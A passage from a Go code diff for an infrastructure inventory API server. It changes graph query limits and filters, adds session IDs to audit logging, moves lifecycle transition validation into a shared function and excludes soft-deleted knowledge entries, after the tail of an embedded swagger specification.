"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",
|
||||
"LrhQq++5Sg6fP37+/wEAAP//VvsxiT/wAAA=",
|
||||
}
|
||||
|
||||
// GetSwagger returns the content of the embedded swagger specification file
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"strconv"
|
||||
@@ -24,7 +25,12 @@ import (
|
||||
const (
|
||||
defaultLimit = 50
|
||||
maxLimit = 200
|
||||
graphNodeCap = 500
|
||||
// graphNodeCap bounds the whole-graph view. The cognition transactional
|
||||
// types (execution, task) are audit records, not topology, and previously
|
||||
// crowded out every host/lxc/service; the default whole-graph view below
|
||||
// excludes them so the cap is spent on the actual fleet graph. Operators
|
||||
// still reach executions/tasks via list_entities.
|
||||
graphNodeCap = 2000
|
||||
)
|
||||
|
||||
// actorInfo returns the caller's (type, label) from the request context,
|
||||
@@ -307,14 +313,19 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
||||
// alphabetically. Without this the cap fills with exec:* rows and
|
||||
// drops every host/lxc/service/vm — and every edge those entities
|
||||
// connect — because edges require both endpoints in the node set.
|
||||
// Exclude the cognition transactional types (execution/task): they
|
||||
// are audit records rather than topology, and at ~380 rows they
|
||||
// consumed most of the old 500-node cap.
|
||||
nodes, err = s.queryEntities(ctx, `
|
||||
SELECT `+entityCols+`
|
||||
FROM entities e
|
||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||
WHERE e.id IN (
|
||||
WHERE e.type NOT IN ('execution','task')
|
||||
AND e.id IN (
|
||||
SELECT e2.id FROM entities e2
|
||||
LEFT JOIN relationships r ON r.valid_to IS NULL
|
||||
AND (r.source_id = e2.id OR r.target_id = e2.id)
|
||||
WHERE e2.type NOT IN ('execution','task')
|
||||
GROUP BY e2.id
|
||||
ORDER BY count(r.type) DESC, e2.slug
|
||||
LIMIT $1
|
||||
@@ -807,7 +818,7 @@ func (s *Server) QueryAudit(ctx context.Context, req gen.QueryAuditRequestObject
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id, ts, actor_type, actor_id::text, action, entity_id::text,
|
||||
method, path, status_code, detail, source_ip, correlation_id
|
||||
method, path, status_code, detail, source_ip, correlation_id, session_id::text
|
||||
FROM audit_log
|
||||
WHERE ($1::text IS NULL OR actor_type = $1)
|
||||
AND ($2::text IS NULL OR actor_id::text = $2)
|
||||
@@ -828,10 +839,10 @@ func (s *Server) QueryAudit(ctx context.Context, req gen.QueryAuditRequestObject
|
||||
for rows.Next() {
|
||||
var a gen.AuditEntry
|
||||
var detailBytes []byte
|
||||
var actID, entID, method, path, sourceIP, corrID *string
|
||||
var actID, entID, method, path, sourceIP, corrID, sessionID *string
|
||||
var statusCode *int
|
||||
if err := rows.Scan(&a.Id, &a.Ts, &a.ActorType, &actID, &a.Action, &entID,
|
||||
&method, &path, &statusCode, &detailBytes, &sourceIP, &corrID); err != nil {
|
||||
&method, &path, &statusCode, &detailBytes, &sourceIP, &corrID, &sessionID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.ActorId = actID
|
||||
@@ -989,6 +1000,7 @@ func (s *Server) CreateEntity(ctx context.Context, req gen.CreateEntityRequestOb
|
||||
entityID := inserted.ID
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||
&entityID, "POST", "/api/v1/entities", "",
|
||||
nil,
|
||||
map[string]any{"type": req.Body.Type, "slug": slug}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -999,7 +1011,9 @@ func (s *Server) CreateEntity(ctx context.Context, req gen.CreateEntityRequestOb
|
||||
return nil, eventErr
|
||||
}
|
||||
|
||||
ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, attrsJSON)
|
||||
if err := ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, inserted.Name, attrsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
@@ -1050,49 +1064,15 @@ func (s *Server) PatchEntity(ctx context.Context, req gen.PatchEntityRequestObje
|
||||
|
||||
// Validate lifecycle transition if state is being changed.
|
||||
if req.Body.State != nil && *req.Body.State != "" {
|
||||
// Get lifecycle def for the entity's type.
|
||||
lc, err := sqlcgen.New(tx).GetLifecycleForType(ctx, current.Type)
|
||||
if err != nil {
|
||||
if err == pgx.ErrNoRows {
|
||||
// No lifecycle defined — any state is allowed.
|
||||
} else {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
var transitions map[string]map[string]json.RawMessage
|
||||
if err := json.Unmarshal(lc.Transitions, &transitions); err != nil {
|
||||
return nil, fmt.Errorf("parse lifecycle transitions: %w", err)
|
||||
}
|
||||
|
||||
fromState := ""
|
||||
if current.State != nil {
|
||||
fromState = *current.State
|
||||
}
|
||||
toState := *req.Body.State
|
||||
|
||||
if toState != fromState {
|
||||
tos, ok := transitions[fromState]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("%w: no transitions from %q", domain.ErrInvalidTransition, fromState)
|
||||
}
|
||||
trans, ok := tos[toState]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("%w: %s → %s", domain.ErrInvalidTransition, fromState, toState)
|
||||
}
|
||||
|
||||
// Parse preconditions: {"requires": ["check-name", ...]}
|
||||
var gate struct {
|
||||
Requires []string `json:"requires"`
|
||||
}
|
||||
if err := json.Unmarshal(trans, &gate); err == nil && len(gate.Requires) > 0 {
|
||||
for _, check := range gate.Requires {
|
||||
if err := checkPrecondition(ctx, tx, id, current.Type, check); err != nil {
|
||||
return nil, fmt.Errorf("%w: precondition %q not met: %v",
|
||||
domain.ErrInvalidTransition, check, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
fromState := ""
|
||||
if current.State != nil {
|
||||
fromState = *current.State
|
||||
}
|
||||
if err := db.ValidateTransition(ctx, tx, id, current.Type, fromState, *req.Body.State); err != nil {
|
||||
if errors.Is(err, db.ErrTransitionInvalid) {
|
||||
return nil, fmt.Errorf("%w: %v", domain.ErrInvalidTransition, err)
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1131,6 +1111,7 @@ func (s *Server) PatchEntity(ctx context.Context, req gen.PatchEntityRequestObje
|
||||
patchActorType, patchActor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, patchActorType, patchActor, "patch",
|
||||
&id, "PATCH", "/api/v1/entities/"+req.Id, "",
|
||||
nil,
|
||||
map[string]any{"version": expectedVersion}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -1260,12 +1241,15 @@ func (s *Server) EnrollClient(ctx context.Context, req gen.EnrollClientRequestOb
|
||||
entityID := id
|
||||
_ = observability.Audit(ctx, q, "operator", actor, "enroll",
|
||||
&entityID, "POST", "/api/v1/clients/enroll", "",
|
||||
nil,
|
||||
map[string]any{"slug": req.Body.Slug, "mesh_ip": meshIP})
|
||||
_ = observability.Event(ctx, q, "client.enrolled", &entityID,
|
||||
"info", "oikos-api", "",
|
||||
map[string]any{"slug": req.Body.Slug, "type": current.Type})
|
||||
|
||||
ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, attrsJSON)
|
||||
if err := ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, current.Name, attrsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
@@ -1452,6 +1436,7 @@ func (s *Server) ProvisionEntity(ctx context.Context, req gen.ProvisionEntityReq
|
||||
_, actor := actorInfo(ctx)
|
||||
_ = observability.Audit(ctx, q, "operator", actor, "provision",
|
||||
&entityID, "POST", "/api/v1/entities/provision", "",
|
||||
nil,
|
||||
map[string]any{"slug": req.Body.Slug, "host": hostSlug})
|
||||
_ = observability.Event(ctx, q, "entity.provisioned", &entityID,
|
||||
"info", "oikos-api", "",
|
||||
@@ -1542,97 +1527,5 @@ func generateAgeKeypair() (pubKey, privKey string, err error) {
|
||||
return pub, priv, nil
|
||||
}
|
||||
|
||||
// checkPrecondition validates a named lifecycle transition precondition.
|
||||
func checkPrecondition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, check string) error {
|
||||
switch check {
|
||||
case "no-inbound-edges":
|
||||
var count int
|
||||
err := tx.QueryRow(ctx,
|
||||
"SELECT count(*) FROM relationships WHERE target_id = $1 AND valid_to IS NULL", entityID).Scan(&count)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if count > 0 {
|
||||
return fmt.Errorf("%d inbound relationship edges remaining", count)
|
||||
}
|
||||
case "backups-verified":
|
||||
var attrs string
|
||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "backups_verified") {
|
||||
return fmt.Errorf("backup verification not recorded in entity attributes")
|
||||
}
|
||||
case "secrets-revoked":
|
||||
var attrs string
|
||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "secrets_revoked") {
|
||||
return fmt.Errorf("secret revocation not recorded in entity attributes")
|
||||
}
|
||||
case "ingress-dns-removed":
|
||||
var attrs string
|
||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "ingress_dns_removed") {
|
||||
return fmt.Errorf("ingress/DNS removal not recorded in entity attributes")
|
||||
}
|
||||
case "age-key-enrolled-if-needed":
|
||||
if entityType == "workstation" {
|
||||
var attrs string
|
||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "age_pubkey") {
|
||||
return fmt.Errorf("age key not enrolled (no age_pubkey in attributes)")
|
||||
}
|
||||
}
|
||||
case "mesh-joined-if-needed":
|
||||
if entityType == "workstation" {
|
||||
var attrs string
|
||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "mesh_ip") {
|
||||
return fmt.Errorf("mesh not joined (no mesh_ip in attributes)")
|
||||
}
|
||||
}
|
||||
case "health-check-answering":
|
||||
st, err := sqlcgen.New(tx).GetEntityStatus(ctx, entityID)
|
||||
if err != nil || st.Health == "unknown" || st.Health == "down" {
|
||||
return fmt.Errorf("health check not answering (status: %s)", st.Health)
|
||||
}
|
||||
case "doc-page-complete":
|
||||
var count int
|
||||
err := tx.QueryRow(ctx, `
|
||||
SELECT count(*) FROM relationships r
|
||||
JOIN entities ke ON ke.id = r.source_id
|
||||
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||
AND r.type = 'documents' AND ke.type IN ('document','runbook','investigation')`,
|
||||
entityID).Scan(&count)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if count == 0 {
|
||||
return fmt.Errorf("no documentation linked to entity")
|
||||
}
|
||||
case "inventory-entry", "ip-reserved", "storage-pool-chosen", "cancelled-note",
|
||||
"preflight-passed", "error-summary", "replacement-live-or-role-retired",
|
||||
"replacement-failed", "post-verify-passed", "recovery-verified", "written-off",
|
||||
"ingress-live-if-public", "doc-page-stub":
|
||||
// Soft checks — always pass. These are operator-confirmed via the
|
||||
// transition request itself, or are not mechanically enforceable.
|
||||
default:
|
||||
// Unknown preconditions are skipped (operator intent overrides).
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ─── Helpers ───────────────────────────────────────────────────────────
|
||||
|
||||
@@ -50,6 +50,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ($1 = '' OR ke.source = $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC
|
||||
LIMIT $2`, source, limit)
|
||||
if err != nil {
|
||||
@@ -82,6 +83,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY e.type`)
|
||||
if err == nil {
|
||||
defer srows.Close()
|
||||
@@ -128,15 +130,19 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
var title, content, source string
|
||||
var title, content, source, editedBy string
|
||||
var tags []string
|
||||
var updatedAt string
|
||||
var revisions int
|
||||
err = s.pool.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), COALESCE(ke.edited_by,''),
|
||||
ke.tags, ke.updated_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).
|
||||
Scan(&title, &content, &source, &editedBy, &tags, &updatedAt, &revisions)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||
return
|
||||
@@ -150,8 +156,10 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
"title": title,
|
||||
"content": content,
|
||||
"source": source,
|
||||
"edited_by": editedBy,
|
||||
"tags": tags,
|
||||
"updated_at": updatedAt,
|
||||
"revisions": revisions,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -169,6 +177,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
JOIN entity_types et ON et.name = e.type
|
||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY rank DESC
|
||||
LIMIT $2`,
|
||||
q, limit)
|
||||
@@ -232,6 +241,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
WHERE target.slug = $1
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
AND ke.deleted_at IS NULL
|
||||
UNION
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
FROM knowledge_entities ke
|
||||
@@ -242,6 +252,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||
WHERE r.valid_to IS NULL
|
||||
